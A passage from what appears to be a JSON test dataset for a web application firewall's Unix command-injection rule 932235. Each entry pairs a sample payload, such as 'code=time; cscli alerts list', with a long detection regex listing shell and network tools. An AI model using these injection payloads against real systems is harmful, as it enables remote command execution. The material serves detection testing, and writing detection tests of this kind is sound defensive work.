\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block execution of visudo" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=time; cscli alerts list\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||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|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$)|tp(?:stats|who))|g(?:(?:awk|core|i(?:mp|nsh)|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:(?:cat|ep)(?:[\\s\\x0b&\\),<>\\|]|$)|oupmod)|tester|unzip)|h(?:(?:ash|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:(?:conv|nstall)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|p(?:6?tables|config|p(?:eveprinter|find|tool))|spell)|j(?:(?:ava|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:in(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$)|sshell)|l(?:a(?:st(?:comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|dconfig|ess(?:echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:cate|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|s(?:(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|trace|ua(?:la)?tex|wp-(?:d(?:ownload|ump)|mirror|request)|ynx(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4c(?:[\\s\\x0b&\\),<>\\|]|$|at)|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore)))|m(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|[qx](?:[\\s\\x0b&\\),<>\\|]|$))|(?:ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|utt(?:[\\s\\x0b&\\),<>\\|]|$)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:(?:a(?:no|sm|wk)|ice|map|o(?:de|hup)|ping|roff|ull)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:ofetch|t(?:(?:c|st)at|kit-ftp|plan))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:ctave(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:cman|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|(?:(?:ft|gre)p|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|i(?:(?:co|gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$)|dstat)|k(?:exec|g_?info|ill(?:[\\s\\x0b&\\),<>\\|]|$))|rint(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|tar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep)|wd\\.db|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:ak[eu]|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:a(?:delf|lpath)|(?:(?:boo|dcarpe)t|name|p(?:eat|lace))(?:[\\s\\x0b&\\),<>\\|]|$)|stic)|l(?:ogin|wrap)|m(?:dir(?:[\\s\\x0b&\\),<>\\|]|$)|t-(?:dump|tar)|user)|pm(?:db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:ash|c(?:hed|r(?:een|ipt))|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|mbclient|o(?:(?:ca|r)t(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|sh(?:-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|udo(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay)|vn(?:a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|sk(?:[\\s\\x0b&\\),<>\\|]|$|set))|c(?:l?sh(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:dump|ing|traceroute))|elnet|(?:ftp|mux|ouch)(?:[\\s\\x0b&\\),<>\\|]|$)|ime(?:datectl|out(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:limit(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:(?:ame|compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|p(?:2date(?:[\\s\\x0b&\\),<>\\|]|$)|date-alternatives)|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:algrind|i(?:(?:[ep]w|gr|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|mdiff|sudo(?:-rs)?)|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:all|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:ami|is(?:[\\s\\x0b&\\),<>\\|]|$)))|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:args|pad|term)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more))|z(?:athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|ip(?:c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932235", "test_description": "Block execution of CrowdSec cscli" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=Times%20%26%20Schedule" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o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b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:(?:HEAD|POST|y(?:arn|elp))(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:dd(?:group|user)|getty|(?:l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|nsible|p(?:parmor_[^\\s\\x0b]{1,10}\\b|t(?:-get|itude(?:[\\s\\x0b&\\),<>\\|]|$)))|r(?:ch(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c|j(?:-register|disp))|s(?:cii(?:-xfr|85)|pell)|u(?:ditctl|repot|search))|b(?:a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$))|z(?:c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more))|c(?:[89]9-gcc|a(?:ncel|psh)(?:[\\s\\x0b&\\),<>\\|]|$)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|p(?:(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|on(?:[\\s\\x0b&\\),<>\\|]|$|tab))|s(?:cli(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:psfilter|rl(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:(?:ash|i(?:alog|ff)|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:2fsck|asy_install|(?:cho|fax|grep|macs|sac|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$)|v-update)|x(?:(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool))|f(?:acter|d(?:(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|(?:etch|grep|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:le(?:[\\s\\x0b&\\),<>\\|]|$|test)|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&